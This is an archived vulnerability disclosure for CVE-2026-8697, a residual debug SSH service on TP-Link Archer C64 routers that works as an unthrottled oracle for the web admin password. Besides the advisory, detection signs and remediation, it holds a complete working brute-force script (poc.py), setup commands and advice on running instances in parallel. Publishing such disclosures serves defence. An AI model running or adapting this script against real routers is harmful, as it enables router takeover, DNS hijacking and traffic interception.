PoC Archive PoC Archive
CVE-2026-8697 category: network CVSS 9.3 (CRITICAL)
Unverified

TP-Link Archer C64 Web UI Rate-Limit Bypass via Residual Debug SSH Service (CVE-2026-8697)

Published: 2026-07-05 • Researcher: Tanjim Kamal ([tanjim.org](https://tanjim.org), [itzmetanjim](https://github.com/itzmetanjim))

Target software TP-Link Archer C64 router firmware ("TPOS")
Affected versions Firmware prior to 1.15.0 Build 250729
Status PoC
Severity Critical · CVSS 9.3
CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-8697
Category
network
Affected product
TP-Link Archer C64 router firmware ("TPOS")
Affected versions
Firmware prior to 1.15.0 Build 250729
Disclosed
2026-07-05
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherTanjim Kamal (tanjim.org, itzmetanjim)
CVE / AdvisoryCVE-2026-8697
Categorynetwork
SeverityCritical
CVSS Score9.3 (CVSS 4.0: AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H — researcher rating; vendor rated 8.7 High)
StatusPoC
Tagstplink, archer-c64, router, ssh, rate-limit-bypass, authentication-oracle, brute-force, iot
RelatedN/A

Affected Target

FieldValue
Software / SystemTP-Link Archer C64 router firmware (“TPOS”)
Versions AffectedFirmware prior to 1.15.0 Build 250729
Language / PlatformEmbedded router OS (TPOS)
Authentication RequiredNo (attacker only needs Wi-Fi/LAN adjacency)
Network Access RequiredYes (must be connected to the router’s network)

Summary

The TP-Link Archer C64 exposes a residual debug SSH service (port 22) that does not grant a shell — it simply closes the connection once a password is entered — but validates the password against the same credential used by the router’s web admin interface, with no rate limiting or lockout. Because the web UI does enforce rate limiting, this leftover SSH service serves as a high-speed authentication oracle: any device connected to the router’s network (including a compromised or malicious IoT device) can brute-force the admin password over SSH and then use it to log into the web management interface with full admin rights.

Vulnerability Details

Root Cause

A debug/diagnostic SSH service (“TPOS 5 IPSSH Test”) shares the admin web-UI credential but implements no rate limiting, lockout, or throttling, unlike the web login form — a purely logic-based flaw (CWE: missing rate limiting / authentication oracle), not a memory-safety issue.

Attack Vector

  1. Attacker device connects to the router’s Wi-Fi/LAN (adjacent network access).
  2. Attacker connects to the residual SSH service on port 22 (requires legacy KEX/host-key algorithms such as diffie-hellman-group1-sha1 / ssh-dss).
  3. Attacker scripts repeated password attempts against the SSH prompt; each attempt returns a clear success/failure signal (connection behavior differs for correct vs. incorrect password) with no throttling.
  4. Once the correct password is found, the attacker logs into the web admin interface using the same credential, gaining full administrative control of the router (DNS hijacking, Wi-Fi password change, port forwarding, firewall/ALG disable, etc.).

Impact

Full compromise of router administration by any device with network adjacency (including compromised/malicious IoT devices), enabling DNS hijacking, traffic interception, denial of network access, and other high-impact network manipulation.

Environment / Lab Setup

Output
Target:   TP-Link Archer C64 router, firmware < 1.15.0 Build 250729, admin password unknown to attacker
Attacker: Any device with Wi-Fi/LAN access to the router (e.g. a Linux host with a legacy-SSH-capable client,
          such as a debian:bullseye-slim container)

Proof of Concept

PoC Script

See poc.py in this folder.

Shell script
1
2
3
4
python3 -m venv venv
source venv/bin/activate
pip install pexpect
python3 poc.py list.txt   # list.txt = newline-separated password candidates; omit to test integers 0-99

Multiple instances can be run in parallel against different password-list shards for higher throughput (beyond ~3 parallel instances, connection errors increase but all passwords are still eventually tried). Manual verification that a target router is vulnerable:

Shell script
1
timeout 10 nc -vz 192.168.0.1 22   # exit code 0 / "succeeded!" => vulnerable

poc.py connects to the debug SSH service using pexpect (not pxssh, since multiple passwords per connection are needed), iterates candidate passwords, and reports the correct one based on the connection’s response behavior.

Detection & Indicators of Compromise

Output

Signs of compromise:

  • High-frequency SSH connection attempts to the router’s port 22 from a single LAN client.
  • Successful admin web-UI logins immediately following a burst of SSH connection attempts from the same device.
  • Unexpected changes to DNS settings, Wi-Fi password, port forwarding, or firewall/ALG configuration.

Remediation

ActionDetail
Primary fixUpdate router firmware to 1.15.0 Build 250729 or later, which removes the debug SSH service
Interim mitigationRestrict LAN/Wi-Fi access to trusted devices; monitor for repeated SSH connection attempts to the router

References

Notes

Mirrored from https://github.com/itzmetanjim/cve-2026-8697 on 2026-07-05. Discovered incidentally during an Nmap scan of the researcher’s own home router; hardcoded lab target is 192.168.0.1.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import sys
try:
    import pexpect
except:
    print("Please install pexpect: pip install pexpect")
    exit()
import time
sshcmd = ("ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "
    "-o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss"
    " -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 "
    "root@192.168.0.1")
      # "root@127.0.0.1 -p 2222")

def tryPasses(passes):
    if len(passes)==0:return 0,False 
    child = pexpect.spawn(sshcmd,encoding="utf-8")
   # child.logfile=sys.stdout

    for i,e in enumerate(passes):
        child.expect('password:')
        child.sendline(e.strip())
        index=child.expect([
            r"closed\.",
            "again.",
            pexpect.EOF,
            "(password).",
            "port 22"])
        if index==0:
            print("Found: ",e)
            return i,True
        if index==1:continue
        if index in [2,3,4]:return i,False
# The previous line looks wrong, but if the last password attempt is correct,
# the server still lets the user in (then kicks out)
    return i,False
idx=0
passes=[]
if "--help" in sys.argv:
    print(f"""Usage: {sys.argv[0]} [path-to-passwordlist]
If password list is not given, uses the numbers from 0 to 99.""")
    exit(0)
if len(sys.argv)==1:
    print("No password list given, using integers from 0 to 99")
    for i in range(100):
        passes.append(str(i))
else:
    print("Loading password list...")
    with open(sys.argv[1]) as f:
        passes=f.readlines()

rpasses=passes[idx:]
print("Trying passwords...")
while idx < len(passes):
    rpasses=passes[idx:]
    res=-1,False
    try:
        res=tryPasses(rpasses)
    except KeyboardInterrupt:
        exit(0)
    except Exception as e:
        res=-1,False
        print("""WARNING: An attempt failed. 
If running 3 or more processes this is normal. Waiting 1 second. Error:""",e)
        time.sleep(1)
#    print("currently on:",idx)
    #print(res)
    if res[1]:
        exit(0)
        break
    else:
        idx+=res[0]+1
print("Password not in list")
exit(1)